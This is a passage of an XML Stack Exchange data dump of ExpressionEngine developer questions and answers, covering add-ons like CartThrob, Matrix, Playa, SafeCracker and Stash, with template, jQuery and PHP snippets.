OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-09T17:15:26.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3506" PostTypeId="2" ParentId="3500" CreationDate="2013-01-09T17:27:13.247" Score="2" Body="&lt;p&gt;I was able to figure this out.  Ultimately the issue was that there was a module still installed in the system directory when i was running the upgrade.  Was able to glean this bit of information by changing debug to 1 in the admin.php file and reloading it for the upgrade.  Once that was figured out I cleared out the rogue module and everything went normally.&lt;/p&gt;&#xA;" OwnerUserId="560" LastActivityDate="2013-01-09T17:27:13.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3507" PostTypeId="2" ParentId="3498" CreationDate="2013-01-09T17:38:58.873" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-catmenu&quot; rel=&quot;nofollow&quot;&gt;GWcode CatMenu&lt;/a&gt; might fit the bill a little better. It dynamically creates multi-level navigation menus. I was trying to do the same thing a couple weeks ago with conditionals for GWcode Categories and realized this plugin did exactly what I needed out of the box. Look at the examples on the site for different solutions.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-09T17:38:58.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostTypeId="1" AcceptedAnswerId="3563" CreationDate="2013-01-09T17:39:16.677" Score="2" ViewCount="255" Body="&lt;p&gt;I'm building out a multilingual site (English and French) with a discussion forum. The multilingual aspect of the site is being powered by &lt;a href=&quot;http://eeharbor.com/transcribe&quot; rel=&quot;nofollow&quot;&gt;Transcribe&lt;/a&gt; and is working great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm in the middle of setting up my forums and have them skinned correctly. There are two boards with unique urls one for English and one for French. Is it possible to set the language pack to French when visiting the french forum by default. Currently it's English and when a new visitor comes in French the registration forms and login forms are in English with no way to change them to French that I can find. At least until after the user has successfully registered, logged in and edits their profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked all through the forums CP and can't find a way to do this. &lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-01-10T18:17:10.513" Title="Multilingual Discussion Forum - how to set default language" Tags="|add-on|forum|multilingual|how-to|transcribe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostTypeId="1" CreationDate="2013-01-09T17:40:24.930" Score="2" ViewCount="445" Body="&lt;p&gt;Since the CartThrob guys seem to have vanished from the face of this earth, I hope somebody here has the knowledge to help me out with this problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using AJAX to update the totals on a single page checkout page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When entering an invalid discount code in the input for the ‘add_coupon_form’ and then entering a valid code after that, the discount value returns as ‘undefined’. Also, apart from the XID code, none of the other CT debugging info displays in the console.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If entering a valid discount code straight away (without entering an invalid one on first try), the code is applied and totals are updated as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The form code in my template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:coupon_info}     &#xA;    {if no_results}&#xA;      {exp:cartthrob:add_coupon_form return=&quot;shopping-bag/payment&quot; id=&quot;coupon&quot;}&#xA;        &amp;lt;label class=&quot;show&quot; for=&quot;coupon_code&quot;&amp;gt;Have a discount code? Enter it here:&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;text&quot; name=&quot;coupon_code&quot; id=&quot;coupon_code&quot; class=&quot;coupon_code&quot; value=&quot;&quot; placeholder=&quot;Discount code&quot; /&amp;gt;&#xA;        &amp;lt;button type=&quot;submit&quot; class=&quot;apply btn classy&quot;&amp;gt;Apply Discount&amp;lt;/button&amp;gt;&#xA;      {/exp:cartthrob:add_coupon_form}&#xA;    {/if}&#xA;&#xA;    {exp:cartthrob:add_coupon_form return=&quot;shopping-bag/payment&quot; id=&quot;coupon&quot;}&#xA;      &amp;lt;label class=&quot;show&quot; for=&quot;coupon_code&quot;&amp;gt;Discount code used:&amp;lt;/label&amp;gt;&#xA;      &amp;lt;input type=&quot;text&quot; name=&quot;coupon_code&quot; id=&quot;coupon_code&quot; class=&quot;coupon_code&quot; value=&quot;{coupon_code}&quot; disabled /&amp;gt;&#xA;      &amp;lt;a href=&quot;{path='shopping-bag/remove-coupon'}&quot; class=&quot;remove btn classy&quot;&amp;gt;Remove discount code&amp;lt;/a&amp;gt;&#xA;    {/exp:cartthrob:add_coupon_form}&#xA;{/exp:cartthrob:coupon_info} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The AJAX code:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// AJAX functions&#xA;            // if set to true, ajax form will be shown, and all json data will be printed to the console log&#xA;            var ct_debug = true;&#xA;&#xA;            function update_cart(data, statusText, xhr, $form) {&#xA;                if (data.success) {&#xA;                    $('input[name=XID]').val(data.XID);&#xA;                    $('.payment-total .subtotal .col2').html( data.cart_subtotal );&#xA;                    $('.payment-total .discount .col2').html( '- ' + data.cart_discount );&#xA;                    $('.payment-total .shipping .col2').html( data.cart_shipping );&#xA;                    $('.payment-total .total .col2').html( data.cart_total );&#xA;&#xA;                    if (data.cart_discount &amp;amp;&amp;amp; data.cart_discount != '$0.00') {&#xA;                        $('.payment-total .discount').removeClass('hidden');&#xA;                        $('form#coupon label').html('Discount code used:');&#xA;                        $('form#coupon input').attr('disabled', 'true');&#xA;                        $('form#coupon button.apply').addClass('hidden');&#xA;                        if ( $('form#coupon .remove').length == '0' ) {&#xA;                            $('form#coupon').append('&amp;lt;a href=&quot;{path=\\'shopping-bag/remove-coupon\\'}&quot; class=&quot;remove btn classy&quot;&amp;gt;Remove discount code&amp;lt;/a&amp;gt;')&#xA;                        }&#xA;                        $('form#coupon .invalid').addClass('hidden');&#xA;                    }&#xA;                }&#xA;                if (!data.success) {&#xA;                    // invalid discount code added&#xA;                    if ( $('form#coupon .invalid').length == '0' ) {&#xA;                        $('form#coupon').append('&amp;lt;p class=&quot;invalid&quot;&amp;gt;&amp;lt;small&amp;gt;The code you entered is invalid.&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;');&#xA;                    }&#xA;                    $('.shopping-bag.payment').find('form#coupon input.coupon_code').val(''); &#xA;                }&#xA;                // if debugging is turned on, all data will be output to the js console log&#xA;                if (ct_debug)&#xA;                {&#xA;                    $.each(data, function(index, item){&#xA;                      console.log(index + &quot;: &quot; +item);&#xA;                    });  &#xA;                    $.each(data.errors, function(index, item){&#xA;                      console.log(index + &quot;: &quot; +item);&#xA;                    });&#xA;                }&#xA;                return true; &#xA;            }&#xA;&#xA;            var cart_form_options = {&#xA;                success: update_cart,&#xA;                dataType: 'json'&#xA;            }&#xA;&#xA;           // discount code entered&#xA;            $('.shopping-bag.payment').find('form#coupon button').click(function(){&#xA;                var form = $('form#coupon'); &#xA;                $(form).ajaxForm(cart_form_options);&#xA;                $(form).submit(); &#xA;            }); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am only just getting to grips with AJAX, so maybe I made a mistake there that I can't see.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also posted this in the &lt;a href=&quot;http://cartthrob.com/forums/viewthread/7658/&quot; rel=&quot;nofollow&quot;&gt;CartThrob forums&lt;/a&gt;, but as I've said, the team hasn't been answering any posts for over a month, and aren't replying to emails or tweets.&lt;/p&gt;&#xA;" OwnerUserId="744" LastActivityDate="2013-01-28T18:21:07.090" Title="CartThrob - Discount ‘undefined’ using AJAX" Tags="|cartthrob|javascript|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3510" PostTypeId="1" AcceptedAnswerId="3514" CreationDate="2013-01-09T17:47:59.500" Score="6" ViewCount="752" Body="&lt;p&gt;I have a site that has 100's of products. I just enabled a custom field (Matrix) to be searchable and now the only way to update the index is by re-saving each entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not really familiar with this part of EE, but would a query/script be able to update the index? Or is there an addon out there that can do this that I'm not aware of? &lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="150" LastEditDate="2013-01-10T15:50:34.573" LastActivityDate="2013-04-26T14:06:15.640" Title="How can I bulk update the Matrix search index without re-saving each entry?" Tags="|matrix|search|simple-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostTypeId="2" ParentId="3510" CreationDate="2013-01-09T19:37:53.137" Score="4" Body="&lt;p&gt;EE doesn’t have a search index; it just queries exp_channel_data directly on every search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue is that Matrix primarily saves its data in exp_matrix_data, not exp_channel_data. It’ll dump the content from any columns listed as Searchable into exp_channel_data precicely so that it’s discoverable by EE search, but only when an entry is saved. It does not provide a way to update exp_channel_data across all entries when the Searchable settings are changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We’ll have to fix this with an update. I’ll update this thread when that happens.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-09T19:37:53.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostTypeId="2" ParentId="2470" CreationDate="2013-01-09T19:46:20.227" Score="3" Body="&lt;p&gt;This is a Chrome/Iframe/contentEditable bug that usually crops up when you set Wygwam to use your own CSS file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to fix it by adding a line-height to your CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(See &lt;a href=&quot;https://getsatisfaction.com/pixelandtonic/topics/display_bug_showing_lines_across_editor_when_there_is_lots_of_content#reply_10264807&quot; rel=&quot;nofollow&quot;&gt;https://getsatisfaction.com/pixelandtonic/topics/display_bug_showing_lines_across_editor_when_there_is_lots_of_content#reply_10264807&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-09T19:46:20.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3513" PostTypeId="1" AcceptedAnswerId="3547" CreationDate="2013-01-09T19:49:43.253" Score="2" ViewCount="530" Body="&lt;p&gt;I have created a safecracker form that has some fields that with show / hide depending on the previous filed selection.&#xA;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;label&#xA;    for=&quot;med&quot;&amp;gt;Are you currently taking any prescribed medication?:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;input&#xA;    type=&quot;radio&quot; name=&quot;med&quot; value=&quot;Yes&quot;{checked} id=&quot;med2&quot;  /&amp;gt;&amp;amp;nbsp;Yes&amp;lt;/label&amp;gt;&amp;lt;label&amp;gt;&amp;lt;input&#xA;    type=&quot;radio&quot; name=&quot;med&quot; value=&quot;No&quot;{checked} id=&quot;med1&quot;  /&amp;gt;&amp;amp;nbsp;No&amp;lt;/label&amp;gt;&#xA;&#xA;    &amp;lt;br&amp;gt;{clear}&amp;lt;br&amp;gt;&#xA;&amp;lt;div id=&quot;med&quot;&amp;gt;&#xA;     &amp;lt;label for=&quot;medication&quot; class=&quot;required&quot;&amp;gt;Please detail:&amp;lt;/label&amp;gt;    {field:medication}&amp;lt;br&amp;gt;&amp;lt;/div&amp;gt;   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code will show the {field:medication} if the yes radio button is selected.&#xA;I can't use the normal code provided in the safecracker example as each field option needs to have a different id for the jquery action.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the {checked} code does not save the radio option when the form is saved. &#xA;I'd appreciate any advice.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-01-10T13:05:48.107" Title="Saving Checked radio buttons in safecracker" Tags="|safecracker|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3514" PostTypeId="2" ParentId="3510" CreationDate="2013-01-09T20:10:16.457" Score="15" Body="&lt;p&gt;I actually had to do this recently. It's not too difficult to grab all that Matrix data, concatenate it, and save it to your field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, backup your database (!). Next, create a new template, enable PHP on it, then put this in it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;$channel_id = 1;&#xA;$field_id = 20;&#xA;$matrix_cols = array(&#xA;    'col_id_1',&#xA;    'col_id_2',&#xA;    'col_id_9'&#xA;);&#xA;&#xA;$entries = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;    SELECT entry_id &#xA;    FROM exp_channel_titles &#xA;    WHERE channel_id = $channel_id&#xA;&quot;);&#xA;if($entries-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    $cols = implode(&quot;, &quot;, $matrix_cols);&#xA;    foreach($entries-&amp;gt;result_array() as $entry)&#xA;    {&#xA;        extract($entry);&#xA;        $matrix = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&quot;&#xA;            SELECT $cols &#xA;            FROM exp_matrix_data &#xA;            WHERE field_id = $field_id &#xA;            AND entry_id = $entry_id&#xA;        &quot;);&#xA;        if($matrix-&amp;gt;num_rows() &amp;gt; 0)&#xA;        {&#xA;            $data = '';&#xA;            foreach($matrix-&amp;gt;result_array() as $row)&#xA;            {&#xA;                foreach($matrix_cols as $col)&#xA;                {&#xA;                    $data .= $row[$col].' ';&#xA;                }&#xA;            }&#xA;            echo '&amp;lt;p&amp;gt;Search data for entry '.$entry_id.': '.$data.'&amp;lt;/p&amp;gt;';&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;query(&#xA;                $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update_string('exp_channel_data', array('field_id_'.$field_id =&amp;gt; $data), &quot;entry_id = $entry_id&quot;)&#xA;            );&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace the data inside the three variables at the top with your relevant data, then load your template in the browser. Should fix you up.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-09T20:54:00.240" LastActivityDate="2013-01-09T20:54:00.240" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3515" PostTypeId="2" ParentId="3513" CreationDate="2013-01-09T21:18:23.030" Score="2" Body="&lt;p&gt;This should be a comment rather than an answer but I can post better code examples here. So the example for using &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/index.html#custom-fields&quot; rel=&quot;nofollow&quot;&gt;custom fields&lt;/a&gt; looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if radio}&#xA;            {options}&#xA;                    &amp;lt;label class=&quot;checkbox&quot;&amp;gt;{option_value}&#xA;                            &amp;lt;input type=&quot;radio&quot; id=&quot;{field_name}&quot; name=&quot;{field_name}&quot; value=&quot;{option_value}&quot;{checked}&amp;gt;&#xA;                    &amp;lt;/label&amp;gt;&#xA;            {/options}&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That includes IDs. Why can't you use that code?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-01-09T21:18:23.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostTypeId="1" AcceptedAnswerId="3579" CreationDate="2013-01-09T22:05:43.390" Score="4" ViewCount="89" Body="&lt;p&gt;I'm using EE 2.5.2 and Wygwam 2.6.3. I need to bind some custom javascript to a Wygwam field on the publish/edit screen in the CP once the field has initialised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, I need to bind to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(#cke_field_id_12).find('iframe').contents().find('body');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However as the iframe is created dynamically, I need to wait until after Wygwam has initialised for &lt;code&gt;$(#cke_field_id_12)&lt;/code&gt; to have a child &lt;code&gt;iframe&lt;/code&gt; plus contents for me to bind to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does CKEditor/Wygwam fire an event when it's ready that I can hook into to bind my functionality to? Or is the an alternative way to do this that I haven't thought of?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2013-01-10T20:07:44.937" Title="How can I bind custom JS to a Wygwam field after it has intialised?" Tags="|javascript|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostTypeId="2" ParentId="1920" CreationDate="2013-01-09T22:18:42.987" Score="1" Body="&lt;p&gt;If you are loading jQuery at the bottom of the page, safecracker will fail because it's adding javascript into the middle of your page before jQuery has loaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure that you either:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load jQuery in your header OR;&#xA;Use Stash to output your {safecracker_head} tag below your jQuery in your main template.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-01-09T22:18:42.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3518" PostTypeId="1" AcceptedAnswerId="3519" CreationDate="2013-01-09T23:18:30.243" Score="1" ViewCount="157" Body="&lt;p&gt;I’m currently trying to add a safecracker form that either creates a new entry or edits the existing one depending on whether or not the &lt;code&gt;CURRENT_USER&lt;/code&gt; has made one or not. Part of this also requires I place the form inside of a &lt;code&gt;exp:channel:entries&lt;/code&gt; tag. Now, when I’m using the code below, I find that my embed variable for segment_id is not parsing properly, but instead, it looks like it’s parsing after everything else and actually returning &lt;code&gt;{entry_id}&lt;/code&gt; as the embed variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:parents channel=&quot;implementation_notes&quot; status=&quot;not closed&quot; author_id=&quot;CURRENT_USER&quot;}&#xA;  {if no_parents}{embed=&quot;embeds/_implementation_notes_form_create&quot; segment_id=&quot;{child:entry_id}&quot;}{/if}&#xA;  {embed=&quot;embeds/_implementation_notes_form_update&quot; segment_id=&quot;{entry_id}&quot;}&#xA;{/exp:playa:parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have a suggestion how to get around this without having to refactor the original developer’s code too much?&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-10T00:16:31.823" Title="Embed Variables not parsing in time in embed placed inside of Playa Parents tag" Tags="|channel-entries|safecracker|playa|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3519" PostTypeId="2" ParentId="3518" CreationDate="2013-01-10T00:06:46.697" Score="2" Body="&lt;p&gt;You will run into issues nesting the form inside the channel entries tag, since the both share some of the var variables. Not sure about the EE embed though, as I don't use them anymore in favor of Stash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation would be to use Stash to include the form inside the loop, but parse it beforehand so there are no conflicts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;&#xA;    {stash:safecracker}&#xA;        [YOUR HTML/TAGS HERE]&#xA;    {/stash:safecracker}&#xA;&#xA;{/exp:stash:set}&#xA;&#xA;{exp:channel:entries}&#xA;&#xA;    {!-- Short syntax for the Dev branch --}&#xA;    {exp:stash:safecracker}&#xA;&#xA;    {!-- Legacy/original syntax for the master branch --}&#xA;    {exp:stash:get name=&quot;safecracker&quot;}&#xA;&#xA;    {!-- Just to be clear, no need to use both tags. Choose one. --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will likely need more complicated logic than this, but the same principal applies. Simply change the parse order to fit your own needs - Stash is the best tool for that.&lt;/p&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-01-10T00:16:31.823" LastActivityDate="2013-01-10T00:16:31.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3520" PostTypeId="1" CreationDate="2013-01-10T00:09:38.677" Score="2" ViewCount="597" Body="&lt;p&gt;Does anyone know of a good online appointment solution? It would be for a salon so they would need to be able to book an appointment in 15-30min intervals.  I looked at rEEservation but it looks like that one only handles full days. Any help will be appreciated. :)&lt;/p&gt;&#xA;" OwnerUserId="747" LastEditorUserId="268" LastEditDate="2013-01-10T08:51:58.553" LastActivityDate="2014-09-22T16:49:52.483" Title="Appointment Setting Addon" Tags="|add-on|recommendation-request|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3521" PostTypeId="1" AcceptedAnswerId="3551" CreationDate="2013-01-10T00:34:06.430" Score="4" ViewCount="231" Body="&lt;p&gt;If I am using playa to output the relationships from 2 fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;employee_board_memberships|employee_investments&quot;}&#xA;    ...&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way inside of the loop to identify which (or both) fields the entry is coming from?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;employee_board_memberships|employee_investments&quot;}&#xA;    {if from_employee_board_memberships}&#xA;        This was from the employee_board_memberships field&#xA;    {/if}&#xA;&#xA;    {if from_employee_investments}&#xA;        This was from the employee_investments field&#xA;    {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-01-10T20:03:16.073" Title="Playa Multiple Fields Parameter" Tags="|playa|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostTypeId="2" ParentId="2381" CreationDate="2013-01-10T00:41:46.180" Score="1" Body="&lt;p&gt;Markdown isn't one of the normal formatting options, which add-on are you using to add the functionality? Is it &lt;a href=&quot;http://devot-ee.com/add-ons/markdown-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you temporarily revert the field back to 'none', or 'xhtml and see if the {encode} options works then?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IF6Td.png&quot; alt=&quot;Standard Format Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{encode}&lt;/code&gt; option should work with the normal field formatting options. But it's good to test anyway. If it works with the normal field formatting, then the issue is the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally speaking, it's the javascript that converts the mark-up. From what I've been able to discern is that most of these field_types or formatting options, all assume that the user will want to occasionally showcase code as part of a post. You can see the issue, in one of the sample images provided by &lt;a href=&quot;http://devot-ee.com/add-ons/markdown-field&quot; rel=&quot;nofollow noreferrer&quot;&gt;Markdown Field&lt;/a&gt; below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f2k8u.png&quot; alt=&quot;Markdown Field Example Image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sample image, shows off Markdown being able to display code. Notice what is part of the code &lt;code&gt;{}&lt;/code&gt;. That means the field or formatting type will convert brackets to html entities so that they display. This renders &lt;code&gt;{encode}&lt;/code&gt; non-executable, but since normal brackets [] normally aren't converted, they are fine to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hack your add-on and remove &lt;code&gt;{}&lt;/code&gt; from the convert options, or you can use the BBCode option, which is a nice failsafe, built right into ExpressionEngine for these situations ( I don't know if that was why it was included, but I'm glad it works ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's highly unlikely that you will ever need to display any type of code. I say, hack away. If you aren't using the Markdown Field, then I'd start where most WYSIWYG field_types do this, in one or more javascript files in the &lt;code&gt;third party&lt;/code&gt; folder of &lt;code&gt;themes&lt;/code&gt; for the related item, that contains the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using the Markdown Field, then look in the &lt;code&gt;library&lt;/code&gt; folder under &lt;code&gt;expression engine/third_party/markdown/&lt;/code&gt; the file &lt;code&gt;markdown.php&lt;/code&gt; contains this code at lines 201-203&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;201    # Table of hash values for escaped characters:&#xA;202    var $escape_chars = '\`*_{}[]()&amp;gt;#+-.!';&#xA;203    var $escape_chars_re;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's the starting point for &lt;code&gt;{}&lt;/code&gt; references. But you also need to examine the rest of the code, to see if there are other references, and modify them as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's not ideal, but one of the issues of converting plain text and html text to something else, is you get easier formatting, but other things may fall to the wayside. The &lt;code&gt;[email][/email]&lt;/code&gt; isn't a bad option, and you can use FIND and REPLACE to handle adjusting any prior &lt;code&gt;{encode}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="252" LastEditDate="2013-01-10T00:48:17.743" LastActivityDate="2013-01-10T00:48:17.743" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="3523" PostTypeId="2" ParentId="3521" CreationDate="2013-01-10T02:26:59.633" Score="-1" Body="&lt;p&gt;You should be able to get by easily by using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;employee_board_memberships|employee_investments&quot;}&#xA;    {if employee_board_memberships}&#xA;        This was from the employee_board_memberships field&#xA;    {/if}&#xA;&#xA;    {if employee_investments}&#xA;        This was from the employee_investments field&#xA;    {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;… shouldn’t you? You’re in essence just testing whether or not that child has either of those fields filled out, so it should return the code you want. You don’t need the &lt;code&gt;from_&lt;/code&gt; in your example code.&lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-10T02:26:59.633" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostTypeId="1" AcceptedAnswerId="3525" CreationDate="2013-01-10T02:28:53.207" Score="6" ViewCount="5549" Body="&lt;p&gt;I have an EE site with 30-50 daily registrations.  We're noticing that a lot of the registration confirmation emails are going to spam folders lately (through testing and user reports, along with a lot of non-spam pending members).  I've tried running the email both through php mail and SMTP, with similar results.  This isn't a major area of expertise for me, so I'm hoping some of you have suggestions for how to reduce the chance that these automated emails end up in someones spam folder.&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="364" LastEditDate="2013-01-10T02:41:22.747" LastActivityDate="2015-06-09T11:33:13.120" Title="How to stop registration emails from going to spam?" Tags="|members|email|registration|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3525" PostTypeId="2" ParentId="3524" CreationDate="2013-01-10T02:54:06.773" Score="5" Body="&lt;p&gt;I’ve been down this road a number of times, and have even had problems with emails originating out of an EngineHosting server while email was handled through Google Apps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There’s probably a problem between what your server is reporting its address as and what your email that’s being generated says its from. I would highly recommend moving all transactional emails to the very excellent &lt;a href=&quot;http://mandrill.com&quot;&gt;Mandrill&lt;/a&gt; service from MailChimp. You can even authenticate so that the emails show up as verified for that domain. The service is free up to 12,000 transactional emails a month, so you probably won’t need to even pay for the service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you’d like to automate it a bit, you could also check out ObjectiveHTML’s awesome &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot;&gt;Postmaster addon&lt;/a&gt;. It does much of what Mandrill does, but makes it quite a bit easier, and he’s always adding awesome things to it. &lt;/p&gt;&#xA;" OwnerUserId="34" LastActivityDate="2013-01-10T02:54:06.773" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostTypeId="1" CreationDate="2013-01-10T03:46:08.590" Score="2" ViewCount="66" Body="&lt;p&gt;This might be more general than I'm titling it, if so, I'll correct that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am migrating an ExpressionEngine MSM site to EngineHosting. The site was built by another developer. I am upgrading it from EE 1.x to 2.x and doing ongoing site maintenance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My directory structure is like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/public_html/www_site_1  &#xA;/public_html/www_site_2  &#xA;/public_html/www_site_3   &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The www_ convention is mirrored from what the original developer set up on another hosting account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where I'm confused is if I visit my preview URL supplied by EngineHosting, how do I configure it the server knows to look in the /www_site_1 folder? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, both visits to either http://[PREVIEW_URL] or http://[PREVIEW_URL]/www_site_1/ fail. I get a 404 on the first (no index page) and Internal Server Error on the second.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-01-11T08:00:39.137" Title="Setting up MSM on EngineHosting Account?" Tags="|server|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
